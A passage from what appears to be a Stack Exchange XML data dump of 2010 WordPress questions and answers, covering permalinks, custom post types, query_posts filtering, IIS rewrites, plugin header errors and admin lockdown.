?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;loops-cartoons.php (frontpage loop)&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts( 'post_type=cartoon&amp;amp;posts_per_page=1' ); ?&amp;gt;&#xA;&amp;lt;div class=&quot;cartoons-box&quot;&amp;gt;&#xA;    &amp;lt;ul class=&quot;cartoons-list&quot;&amp;gt;&#xA;    &amp;lt;?php if ( ! have_posts() ) : ?&amp;gt;&#xA;        Sorry, no posts.&#xA;    &amp;lt;?php else : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;        &amp;lt;li&amp;gt;&#xA;             &amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;preview-image&quot;&amp;gt;&#xA;                   &amp;lt;?php the_post_thumbnail( 'featured' ); ?&amp;gt;&#xA;                 &amp;lt;/a&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;    &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;        &amp;lt;div class=&quot;clear&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;/ul&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php wp_reset_query(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-08T14:53:12.420" LastActivityDate="2011-02-08T16:55:35.997" Title="single-type.php not working, delivering 404" Tags="&lt;custom-post-types&gt;&lt;theme-development&gt;&lt;permalinks&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="3955" PostTypeId="2" ParentId="3954" CreationDate="2010-11-12T00:33:31.427" Score="8" ViewCount="" Body="&lt;p&gt;After registering the custom post types you need to rebuild permalinks. You can do that manually by visiting Admin -&gt; Settings -&gt; Permalinks (as John commented), you can rebuild permalinks within your code by calling &lt;code&gt;$wp_rewrite-&amp;gt;flush_rules();&lt;/code&gt; or if you're lazy you can make use of the &lt;a href=&quot;http://codex.wordpress.org/User%3aHakre/permafrost&quot; rel=&quot;nofollow&quot;&gt;Permafrost (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-12T00:33:31.427" />
  <row Id="3956" PostTypeId="1" AcceptedAnswerId="3958" CreationDate="2010-11-12T01:40:15.127" Score="2" ViewCount="185" Body="&lt;p&gt;I have a WP Multisite installation. On the main blog all subscribers are appearing in the post author dropdown on the post edit screen. I think this happened after an upgrade to 3.0.1.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The new user role is set to Subscriber, so it's not like all the new signups are being made contributors or authors.  Does anyone know if the problem I'm experiencing is a bug? Or am I missing something really obvious? We have hundreds of subscribers so it's really a pain to try to find the right one to assign a post author. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help / hacks would be much appreciated. Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALSO.... when I look at edit-form-advanced.php , I see this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( post_type_supports($post_type, 'author') ) {&#xA;    $authors = get_editable_user_ids( $current_user-&amp;gt;id ); // TODO: ROLE SYSTEM&#xA;    if ( $post-&amp;gt;post_author &amp;amp;&amp;amp; !in_array($post-&amp;gt;post_author, $authors) )&#xA;        $authors[] = $post-&amp;gt;post_author;&#xA;    if ( ( $authors &amp;amp;&amp;amp; count( $authors ) &amp;gt; 1 ) || is_super_admin() )&#xA;        add_meta_box('authordiv', __('Author'), 'post_author_meta_box', $post_type, 'normal', 'core');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can change in there to fix this?&lt;/p&gt;&#xA;" OwnerUserId="676" LastEditorUserId="676" LastEditorDisplayName="" LastEditDate="2010-11-12T02:26:20.733" LastActivityDate="2010-11-12T02:56:47.557" Title="How to Remove Subscribers from the Post Author Drop Down" Tags="&lt;3.0.1&gt;" AnswerCount="1" />
  <row Id="3957" PostTypeId="2" ParentId="1733" CreationDate="2010-11-12T02:32:38.590" Score="0" ViewCount="" Body="&lt;p&gt;There's an older plugin called WP Post Thumbnail that we sometimes use.  It's not perfect, and there are some minor bugs with the latest version fo WP (it hasn't been updated since 2008 so it's not necessarily reliable).  &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-post-thumbnail/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-post-thumbnail/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-11-12T02:32:38.590" />
  <row Id="3958" PostTypeId="2" ParentId="3956" CreationDate="2010-11-12T02:56:47.557" Score="2" ViewCount="" Body="&lt;p&gt;This is a bug.  It has been reported in trac and will hopefully be fixed with the release of WordPress 3.1 soon.  If you really want to dive into it, you could apply the patch that is with the ticket.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/ticket/14094&quot; rel=&quot;nofollow&quot;&gt;http://core.trac.wordpress.org/ticket/14094&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-11-12T02:56:47.557" CommentCount="1" />
  <row Id="3959" PostTypeId="2" ParentId="1473" CreationDate="2010-11-12T03:00:46.167" Score="1" ViewCount="" Body="&lt;p&gt;Just to clarify.  Organize Series uses WP's custom taxonomies as well.  Also, I now have it hosted at &lt;a href=&quot;http://organizeseries.com&quot; rel=&quot;nofollow&quot;&gt;organizeseries.com&lt;/a&gt;.  Not knocking Justin's plugin though - he's doing a lot of great stuff for WordPress :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope orgseries works well for you James.&lt;/p&gt;&#xA;" OwnerUserId="777" LastActivityDate="2010-11-12T03:00:46.167" CommentCount="1" />
  <row Id="3960" PostTypeId="2" ParentId="3931" CreationDate="2010-11-12T03:11:42.507" Score="1" ViewCount="" Body="&lt;p&gt;Correct me if I'm wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess you use that code to custom display a category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that's the case, right before this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will need to add query_posts():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts('cat={categoryID}&amp;amp;paged=' . $page); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="127" LastActivityDate="2010-11-12T03:11:42.507" CommentCount="3" />
  <row Id="3961" PostTypeId="2" ParentId="3931" CreationDate="2010-11-12T03:17:26.750" Score="0" ViewCount="" Body="&lt;p&gt;I think there is actually an issue with your loop. Try using this one below (with the content setup as you need).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : ?&amp;gt;&#xA;&#xA;    &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // Individual Post Styling ?&amp;gt;&#xA;&#xA;    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;        &amp;lt;?php // paged navigation - next post, previous post... ?&amp;gt;&#xA;&#xA;    &amp;lt;?php else : ?&amp;gt;&#xA;&#xA;    &amp;lt;h3&amp;gt;Ooops looks like there was an issue. Please &amp;lt;a href=&quot;&amp;lt;?php echo get_option('home'); ?&amp;gt;/contact&quot; title=&quot;Contact Us&quot;&amp;gt;get in touch&amp;lt;/a&amp;gt; with us and we'll get the problem fixed.&amp;lt;/h3&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="141" LastActivityDate="2010-11-12T03:17:26.750" CommentCount="2" />
  <row Id="3965" PostTypeId="2" ParentId="3431" CreationDate="2010-11-12T10:34:15.473" Score="1" ViewCount="" Body="&lt;p&gt;I veto the accepted answer. The complexity of the rewrite rules is in no way a measure for the performance of article lookup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular, it seems that starting your permalinks with post names is bad; see &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without having looked into Wordpress code, I can imagine that they somehow index posts hierarchically. Therefore, the variables used in permalinks should be ordered from left to right from the most general to the most post specific variable used. This heuristic strongly favors the standards year/month/name or category/name.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2010-11-12T10:34:15.473" CommentCount="17" />
  <row Id="3966" PostTypeId="2" ParentId="3924" CreationDate="2010-11-12T10:40:01.613" Score="1" ViewCount="" Body="&lt;p&gt;You can use OpenID for user authentication, e.g. provided by the plugin &lt;a href=&quot;http://wordpress.org/extend/plugins/openid/&quot; rel=&quot;nofollow&quot;&gt;OpenID&lt;/a&gt;. This is invariant over the whole web, so in particular for your n Wordpress installations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, Wordpress specifig user settings would not be synchronized.&lt;/p&gt;&#xA;" OwnerUserId="1524" LastActivityDate="2010-11-12T10:40:01.613" />
  <row Id="3967" PostTypeId="1" CreationDate="2010-11-12T11:11:05.600" Score="0" ViewCount="167" Body="&lt;p&gt;I have been blogging at wordpress for the past 6 months and very recently i came to know about the flash cards. Can anyone let me know as to how to activate flash cards in wordpress. I tried going to the &quot;extras&quot; option but then i can't see anything regarding flash cards over there.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-22T01:46:48.043" Title="How to activate flash cards" Tags="&lt;features&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="3968" PostTypeId="1" CreationDate="2010-11-12T11:44:38.520" Score="1" ViewCount="122" Body="&lt;p&gt;I'd like to create a list of recent comments, specific to each user on my network (Buddypress).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best idea so far is pretty lame: DB Query on all user's blogs, compare dates, select top 10 by date. To me, it sounds a too heavy load for the the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any alternative and &lt;em&gt;better&lt;/em&gt; ideas? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2010-12-26T19:59:44.250" Title="Recent comments from my blogs only" Tags="&lt;comments&gt;&lt;php&gt;&lt;database&gt;&lt;buddypress&gt;&lt;mysql&gt;" AnswerCount="3" CommentCount="4" />
  <row Id="3969" PostTypeId="1" AcceptedAnswerId="3970" CreationDate="2010-11-12T12:04:23.187" Score="3" ViewCount="140" Body="&lt;p&gt;I have a blog hosted at wordpress.com. How do I integrate it with Google Analytics?&lt;/p&gt;&#xA;" OwnerUserId="678" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-12T12:57:39.210" LastActivityDate="2010-11-12T12:57:39.210" Title="Can I integrate Google Analytics with my blog, hosted at wordpress.com?" Tags="&lt;wordpress.com&gt;&lt;google-analytics&gt;" AnswerCount="1" />
  <row Id="3970" PostTypeId="2" ParentId="3969" CreationDate="2010-11-12T12:46:26.673" Score="5" ViewCount="" Body="&lt;p&gt;You can't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;GA requires javascript, and wordpress.com doesn't allow it.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-11-12T12:46:26.673" CommentCount="4" />
  <row Id="3972" PostTypeId="1" AcceptedAnswerId="3993" CreationDate="2010-11-12T13:03:08.477" Score="1" ViewCount="358" Body="&lt;p&gt;I recently committed version 2 of &lt;a href=&quot;http://wordpress.org/extend/plugins/export-to-text/&quot; rel=&quot;nofollow&quot;&gt;my new plugin&lt;/a&gt; to the Plugin Directory, but now when you install the plugin for the first time, you get this error on activation: &quot;The plugin does not have a valid header.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/65Kbi.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can workaround it by browsing to the plugin section of wp-admin and activating from there with no errors, but this is still not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I can tell, the header looks fine, and is pretty much the same as version 1.0. Which leave me to wonder why I get this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/export-to-text/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/export-to-text/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-02-01T07:26:12.637" Title="Why do I get this &quot;plugin does not have a valid header&quot; error?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;" AnswerCount="7" />
  <row Id="3973" PostTypeId="1" CreationDate="2010-11-12T13:24:00.487" Score="0" ViewCount="342" Body="&lt;p&gt;H,&#xA;I've installed wp on IIS7.5 machine. But I'm having error when my permalink setting is line: /%year%/%monthnum%/%day%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is the index page (root page /) gives 404 error (&lt;strong&gt;EDIT: error is in a wordpress page, not server default page&lt;/strong&gt;). But I'm not getting 404 when permalink is default or /index.php/%year%/%monthnum%/%day%/%postname%/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Site can be seen here: &lt;a href=&quot;http://marmarabote.innovacube.com/&quot; rel=&quot;nofollow&quot;&gt;http://marmarabote.innovacube.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also rewrited urls in web.config like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot;?&amp;gt;&#xA;    &amp;lt;configuration&amp;gt;&#xA;        &amp;lt;system.webServer&amp;gt;&#xA;            &amp;lt;rewrite&amp;gt;&#xA;                &amp;lt;rules&amp;gt;&#xA;                    &amp;lt;rule name=&quot;Main Rule&quot; stopProcessing=&quot;true&quot;&amp;gt;&#xA;                        &amp;lt;match url=&quot;.*&quot; /&amp;gt;&#xA;                        &amp;lt;conditions logicalGrouping=&quot;MatchAll&quot;&amp;gt;&#xA;                            &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; matchType=&quot;IsFile&quot;&#xA;                            negate=&quot;true&quot; /&amp;gt;&#xA;                            &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot;&#xA;                            matchType=&quot;IsDirectory&quot; negate=&quot;true&quot; /&amp;gt;&#xA;                        &amp;lt;/conditions&amp;gt;&#xA;                        &amp;lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&amp;gt;&#xA;                    &amp;lt;/rule&amp;gt;&#xA;                &amp;lt;/rules&amp;gt;&#xA;            &amp;lt;/rewrite&amp;gt;&#xA;        &amp;lt;/system.webServer&amp;gt;&#xA;    &amp;lt;/configuration&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="383" LastEditorUserId="383" LastEditorDisplayName="" LastEditDate="2010-11-25T09:35:36.263" LastActivityDate="2010-11-25T09:35:36.263" Title="IIS7.5 URL rewrite pboblem on index page" Tags="&lt;permalinks&gt;&lt;url-rewriting&gt;&lt;iis&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="3974" PostTypeId="1" AcceptedAnswerId="3976" CreationDate="2010-11-12T13:24:26.513" Score="0" ViewCount="94" Body="&lt;p&gt;I don't care about having images catalogued by date, I actually hate the subdirectories it creates by year and by month when you upload an image. Is there a way to store them all in the same folder?&lt;/p&gt;&#xA;" OwnerUserId="890" LastActivityDate="2010-11-12T13:37:54.770" Title="Image archive without date" Tags="&lt;media&gt;" AnswerCount="1" />
  <row Id="3975" PostTypeId="2" ParentId="3972" CreationDate="2010-11-12T13:30:48.443" Score="2" ViewCount="" Body="&lt;p&gt;It seems you have some issue with folder structure, fresh install (or download) of your plugin has following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export-to-text/trunk/[plugin files]&#xA;export-to-text/[plugin files]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The trunk copy seems like an error and is what likely messes up WP scanning for plugin files.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-11-12T13:30:48.443" CommentCount="5" />
  <row Id="3976" PostTypeId="2" ParentId="3974" CreationDate="2010-11-12T13:37:54.770" Score="3" ViewCount="" Body="&lt;p&gt;Uncheck this box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Setting/Media&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[ ] Organize my uploads into month- and year-based folders&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2010-11-12T13:37:54.770" CommentCount="1" />
  <row Id="3977" PostTypeId="2" ParentId="3954" CreationDate="2010-11-12T13:59:13.863" Score="2" ViewCount="" Body="&lt;p&gt;Did you go to Admin -&gt; Settings -&gt; Permalinks after setting up the post type? The permalink structure hasn't been added until you've done that. It could be the cause of your problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The permalinks page fires &lt;code&gt;$wp_rewrite-&amp;gt;flush_rules();&lt;/code&gt; each time the page is visited, so it's not even necessary to save.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-11-12T13:59:13.863" />
  <row Id="3978" PostTypeId="2" ParentId="3968" CreationDate="2010-11-12T14:15:57.380" Score="1" ViewCount="" Body="&lt;p&gt;There's a different posts and comments table per site, so not really.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, you can and should keep track of blog ids they've commented on in a user meta to speed things up in the first round, and cache the formatted result in a separate usermeta to speed things up in subsequent rounds. These are easy enough to be tracked and invalidate on save/delete post/comment.&lt;/p&gt;&#xA;" OwnerUserId="1208" LastActivityDate="2010-11-12T14:15:57.380" CommentCount="3" />
  <row Id="3979" PostTypeId="1" CreationDate="2010-11-12T15:06:29.297" Score="0" ViewCount="164" Body="&lt;p&gt;I'd like to open my WP based blog to the general public so they can contribute, so I'm trying to lock-down my WP install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In particular I would like them to be &lt;strong&gt;unable&lt;/strong&gt; to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;edit the slug or assign tags&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;send trackbacks&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add custom fields&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;enable/disable comments&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;add an excerpt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;see the Tools section&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;see the Comments section&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the best way to go about these customizations? Should I roll my own theme or is there some plugin out there that can suit me?&lt;/p&gt;&#xA;" OwnerUserId="890" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2010-11-12T15:21:19.750" LastActivityDate="2010-11-12T16:41:36.453" Title="Disable some features in Admin" Tags="&lt;wp-admin&gt;" AnswerCount="2" CommentCount="0" />
  <row Id="3980" PostTypeId="2" ParentId="3979" CreationDate="2010-11-12T15:14:50.803" Score="1" ViewCount="" Body="&lt;p&gt;Check Out the Role Scoper plugin: &lt;a href=&quot;http://agapetry.net/news/introducing-role-scoper/&quot; rel=&quot;nofollow&quot;&gt;http://agapetry.net/news/introducing-role-scoper/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Role Scoper is a comprehensive enrichment for capability enforcement and administration in WordPress. Assign reading, editing or administration roles to users or groups on a page-specific, category-specific or other content-specific basis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt;&#xA;From your comment, I dug a little further.  This article explains adding custom roles and abilities:  &lt;a href=&quot;http://www.wphardcore.com/2010/ultimate-guide-to-roles-and-capabilities/&quot; rel=&quot;nofollow&quot;&gt;http://www.wphardcore.com/2010/ultimate-guide-to-roles-and-capabilities/&lt;/a&gt;.  Seems very useful.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditorDisplayName="" LastEditDate="2010-11-12T16:33:37.910" LastActivityDate="2010-11-12T16:33:37.910" CommentCount="2" />
  <row Id="3981" PostTypeId="2" ParentId="3979" CreationDate="2010-11-12T16:41:36.453" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ucan-post/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/ucan-post/&lt;/a&gt; ? Maybe with some more customizations on it ?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-12T16:41:36.453" />
  <row Id="3982" PostTypeId="1" AcceptedAnswerId="3985" CreationDate="2010-11-12T16:44:41.537" Score="2" ViewCount="1209" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('showposts' =&amp;gt; 1000, 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'page', 'orderby' =&amp;gt; 'title', 'order' =&amp;gt; 'ASC', 'meta_key' =&amp;gt; featured_product, 'meta_value' =&amp;gt; 1)); ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php query_posts(array('showposts' =&amp;gt; 1000, 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'page', 'orderby' =&amp;gt; 'title', 'order' =&amp;gt; 'ASC')); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have 2 queries, first to show meta key with featured_product eq 1. So I want to exclude all the featured products on the second query. How can i do that please? Thanks! &lt;/p&gt;&#xA;" LastActivityDate="2011-01-06T15:36:51.567" Title="query_posts exclude a meta key" Tags="&lt;query-posts&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="3983" PostTypeId="2" ParentId="3968" CreationDate="2010-11-12T17:09:26.883" Score="0" ViewCount="" Body="&lt;p&gt;The activity feed shows comments from any blogs from all persons registered in the buddypress site (pulldown menu show recent comments) so why not duplicate it, sort it and dump it in a widget on the screen?&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-12T17:09:26.883" CommentCount="2" />
  <row Id="3984" PostTypeId="2" ParentId="3982" CreationDate="2010-11-12T17:17:09.637" Score="1" ViewCount="" Body="&lt;p&gt;I haven't tried this, but some research let me to this. Using meta_compare you can check if meta_value does not equal 1 display the posts. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('showposts' =&amp;gt; 1000, 'post_parent' =&amp;gt; $post-&amp;gt;ID, 'post_type' =&amp;gt; 'page', 'orderby' =&amp;gt; 'title', 'order' =&amp;gt; 'ASC', 'meta_value' =&amp;gt; featured_product, 'meta_compare' =&amp;gt; '!=', 'meta_value' =&amp;gt; 1 )); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2010-11-12T17:17:09.637" CommentCount="9" />
  <row Id="3985" PostTypeId="2" ParentId="3982" CreationDate="2010-11-12T17:58:32.097" Score="5" ViewCount="" Body="&lt;p&gt;I've never had any luck getting the meta compare to work either--but I came up with a workaround for this exact situation (having &quot;featured&quot; items at the top of the page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, you probably shouldn't be using query_posts for both queries. You should use a custom query for at least the first one. Then, while you're running that loop, keep the ids of any &quot;featured&quot; posts in a variable. When you run your second loop, you can use the &quot;post__not_in&quot; arg to exclude the featured ones. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set up a custom query&#xA;$featured_query = new WP_query();&#xA;&#xA;// Your query args&#xA;    $featured_args=array(&#xA;        'post_type'=&amp;gt;'post',&#xA;        'meta_key'=&amp;gt;'featured_product',&#xA;        'meta_value'=&amp;gt;'1'&#xA;    );&#xA;&#xA;// Run it&#xA;    $featured_query-&amp;gt;query($featured_args);&#xA;&#xA;    if ($featured_query-&amp;gt;have_posts()) {&#xA;&#xA;    while ($featured_query-&amp;gt;have_posts()) {&#xA;&#xA;            $featured_query-&amp;gt;the_post();&#xA;&#xA;        // Remember the featued ID&#xA;        $featured_post_id = get_the_ID(); &#xA;&#xA;        // Render your featured post here&#xA;&#xA;    }&#xA;&#xA;}&#xA;&#xA;// Set up the args for your main query&#xA;$args = array(&#xA;        'post_type' =&amp;gt; 'post',&#xA;        'post__not_in' =&amp;gt; array($featured_post_id) // Don't show the featured post&#xA;    );&#xA;&#xA;// Now run your main query and so on...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-11-12T17:58:32.097" CommentCount="4" />
  <row Id="3986" PostTypeId="1" CreationDate="2010-11-12T18:01:03.327" Score="5" ViewCount="510" Body="&lt;p&gt;Say I've already published a page or post. I now want to make changes, but I want a colleague to check them over before they go live. Is there any way of doing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit: I do realise this isn't currently possible as such and it's creative workarounds I'm interested in.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the site I'm currently working on, I also have a separate password protected 'staging' site for drafting major content changes/additions, and once approved I copy and paste to the live site. I'm wondering if anyone's used a similar method, but perhaps automated the 'push' to the live site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware of this question: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2100/database-synchronization-between-dev-staging-and-production&quot;&gt;Database synchronization between dev/staging and production&lt;/a&gt;, but that's more about wholesale synchonization of entire databases rather than individual pages or posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Now offering a bounty in order to try and drive out some additional ideas for workarounds.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="1561" LastEditorDisplayName="" LastEditDate="2010-11-22T10:05:34.993" LastActivityDate="2011-07-27T18:23:56.487" Title="Is there any way to draft a revision of a published page or post? What workarounds have you used?" Tags="&lt;draft&gt;" AnswerCount="7" CommentCount="1" FavoriteCount="3" />
  <row Id="3987" PostTypeId="2" ParentId="3972" CreationDate="2010-11-12T18:01:07.910" Score="0" ViewCount="" Body="&lt;p&gt;I had the exact same error before and I was not using any kind of version control when I faced the issue. But I will just go ahead and tell you what solved the problem for me and it might actually help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem for me was the IDE I was using. It was inserting a blank invisible char just before the PHP opening tag. Problem solved by trying a different IDE which is the regular notepad :)&lt;/p&gt;&#xA;" OwnerUserId="1318" LastActivityDate="2010-11-12T18:01:07.910" />
  <row Id="3988" PostTypeId="2" ParentId="3986" CreationDate="2010-11-12T18:40:49.310" Score="3" ViewCount="" Body="&lt;p&gt;Not at this time, unfortunately.  If the page/post is already published, your only recourse would be to create a &lt;em&gt;new&lt;/em&gt; page/post to hold your edits and &lt;strong&gt;privately&lt;/strong&gt; publish it so your colleague can check your changes.  Then replace the content on your live page/post with the revised version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just FYI:&lt;/strong&gt; Making draft-status changes to already published content is a workflow not employed by many WordPress users.  I've heard of at least 3 different ways people want it to be done in the past month, too ... so without a standard here-is-how-you-submit-revisions-to-already-published-content workflow, chances of this ever being a feature of WordPress are slim.  &lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-11-12T18:40:49.310" CommentCount="4" />
  <row Id="3989" PostTypeId="1" AcceptedAnswerId="4001" CreationDate="2010-11-12T19:55:45.007" Score="1" ViewCount="719" Body="&lt;p&gt;I'm trying to set up a sidebar area that'll do two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Display a drop-down of posts in a given custom post types.&lt;/li&gt;&#xA;&lt;li&gt;Display post metadata (content and custom fields) if selected post&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The thing that's getting me is two-fold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Having the selected post metadata display in the sidebar once selected via the dropdown&lt;/li&gt;&#xA;&lt;li&gt;Having the content refresh via ajax or jquery so it doesn't refresh the entire page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="403" LastEditorUserId="403" LastEditorDisplayName="" LastEditDate="2010-11-13T05:35:21.210" LastActivityDate="2010-11-25T02:30:38.200" Title="Display custom post data in sidebar w/ dropdown" Tags="&lt;custom-post-types&gt;&lt;sidebar&gt;&lt;ajax&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
